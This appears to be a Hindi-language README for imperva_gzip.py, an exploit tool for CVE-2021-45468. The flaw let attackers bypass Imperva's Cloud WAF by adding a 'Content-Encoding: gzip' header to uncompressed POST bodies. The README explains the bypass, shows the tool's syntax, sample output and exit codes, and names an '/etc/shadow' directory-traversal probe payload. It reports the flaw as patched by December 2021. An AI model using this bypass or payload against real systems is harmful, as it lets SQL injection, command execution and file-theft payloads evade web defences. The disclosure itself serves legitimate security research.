
CVE-2021-45468 के लिए शोषण, एक Imperva WAF बायपास।
Imperva Cloud WAF एक बायपास के प्रति संवेदनशील था जो हमलावरों को दुर्भावनापूर्ण HTTP POST पेलोड (जैसे log4j शोषण, SQL इंजेक्शन, कमांड निष्पादन, डायरेक्टरी ट्रावर्सल, XXE, आदि) भेजते समय WAF नियमों को दरकिनार करने की अनुमति देता है।
Imperva टीम ने इसे रिपोर्ट किए जाने के एक मिनट बाद से ही बहुत गंभीरता से लिया, और उन्होंने कुछ ही दिनों में वैश्विक सुधार लागू कर दिया। शाबाश। Cloud WAF के सभी ग्राहक 22 दिसंबर 2021 तक स्वचालित रूप से पैच हो चुके हैं। Imperva के साथ काम करना बहुत अच्छा था और उनकी सुरक्षा टीम स्पष्ट रूप से परिपक्व, कुशल और सक्षम है।
HTTP POST अनुरोधों में हेडर Content-Encoding: gzip जोड़ें। POST डेटा को ज्यों का त्यों छोड़ें। इसे एन्कोड न करें। जब तक Content-Encoding हेडर के पहले चार बाइट gzip हैं, POST अनुरोधों पर कोई WAF नियम लागू नहीं होंगे।
आप Burp में प्रॉक्सी की Match & Replace सुविधा का उपयोग करके ऐसा कर सकते हैं:

इस तरह एक नया हेडर जोड़ें:

बस इतना ही; आप तैयार हैं।
POST अनुरोधों का समर्थन करने वाले URL के विरुद्ध imperva_gzip.py चलाएँ, जैसे:
सिंटैक्स:
./imperva_gzip.py [[-t] | [-r]] URL
किसी दिए गए URL के लिए WAF प्रकार का अनुमान लगाएँ:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
जाँचें कि क्या WAF gzip बायपास के प्रति संवेदनशील है:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200
यदि आपको यह त्रुटि मिलती है:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
तो कमांड लाइन पर -r पास करके रिलैक्स्ड मोड सक्षम करने का प्रयास करें। रिलैक्स्ड मोड डिफ़ॉल्ट रूप से बंद है, जिसका अर्थ है कि POST अनुरोध से सर्वर से HTTP 200 प्रतिक्रिया की अपेक्षा की जाती है। -r स्वीकार्य प्रतिक्रियाओं को HTTP 2xx, 3xx तक विस्तारित करता है।
imperva_gzip.py के लिए एग्जिट कोड इस प्रकार हैं:
0: WAF प्रकार प्राप्त करने के बाद लौटा।
1: कमांड-लाइन अमान्य थी।
2: कनेक्ट करने में त्रुटि हुई। DNS त्रुटि, टाइमआउट आदि हो सकता है।
3: कोई WAF डिटेक्ट नहीं हुआ; दुर्भावनापूर्ण UNIX/Windows पेलोड ब्लॉक नहीं किए गए।
4: एक WAF डिटेक्ट हुआ, लेकिन वह Imperva नहीं था।
5: सर्वर ने परीक्षण POST अनुरोध का HTTP 200 के अलावा कुछ और उत्तर दिया।
128: Imperva WAF मौजूद है, लेकिन यह gzip बायपास के प्रति संवेदनशील नहीं है।
129: बायपास UNIX पेलोड के लिए प्रभावी था, लेकिन Windows वाले के लिए नहीं।
130: बायपास Windows पेलोड के लिए प्रभावी था, लेकिन UNIX वाले के लिए नहीं।
131: बायपास Windows और UNIX दोनों पेलोड के विरुद्ध प्रभावी था।
तीन POST अनुरोध भेजें:
&test=../../../../../../../etc/shadow डालकर सत्यापित करें कि Imperva इसे ब्लॉक करता हैContent-Encoding: gzip जोड़ें और सत्यापित करें कि Imperva इसे ब्लॉक नहीं करताhttps://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding के अनुसार, Content-Encoding हेडर के लिए चार मान्य मान हैं:
compressdeflategzipbrपरीक्षण में, केवल gzip बायपास के रूप में काम करता था।
Cloud WAF Imperva द्वारा प्रबंधित किया जाता है। परिणामस्वरूप, Cloud WAF में अपडेट लगभग सभी ग्राहकों को लगभग एक ही समय पर प्रभावित करते हैं। यह 22 दिसंबर 2021 तक सभी ग्राहकों के लिए पैच किया गया है।
gzip बायपास बग को Imperva के एक अलग उत्पाद SecureSphere में ठीक कर दिया गया है। SecureSphere v12.6 के रिलीज़ नोट्स में यह पैराग्राफ है:
SPHR-58185: जब SecureSphere "Content-Encoding: gzip/deflate" हेडर वाले अनुरोधों में POST बॉडी को डीकंप्रेस करने में विफल रहा, तो इसने कोई अलर्ट जारी नहीं किया और अनुरोध को पास कर दिया।
मुझे पूरा यकीन है कि यह वही बग है, शायद Cloud WAF के समान कोड विरासत के साथ... यह दो उत्पादों में होने के लिए काफी विशिष्ट बग है। यह मुद्दा फरवरी 2021 में SecureSphere के लिए हल किया गया था, लेकिन हम नहीं जानते कि यह कब पेश किया गया था। यह संभव है कि भेद्यता वर्षों से मौजूद थी!
Imperva ग्राहक सहायता: https://www.imperva.com/support/technical-support/